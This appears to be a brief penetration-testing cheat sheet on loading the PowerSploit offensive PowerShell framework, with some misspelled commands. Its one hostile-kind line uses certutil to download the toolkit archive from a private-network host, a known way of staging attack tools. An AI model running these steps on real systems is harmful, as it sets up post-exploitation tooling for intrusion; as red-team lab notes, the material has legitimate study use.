Importing Powersploit Module

#Requires PowerUp

$ENV:PSModulePath

mkdir C:\Users\%username%\Documents\WindowsPowershell\Modules

cd C:\Users\%username%\Documents\WindowsPowershell\Modules

#Copy Powersploit to modules directory

certutil -urlcache -split -f http://10.0.0.1/powersploit-master.zip

#unpack zip

Expand-archive Powersploit-master.zip

cd into folder

import-module .\Powerspolit.psd1

#Confirm that Powerspolit is listed

get-module

Last updated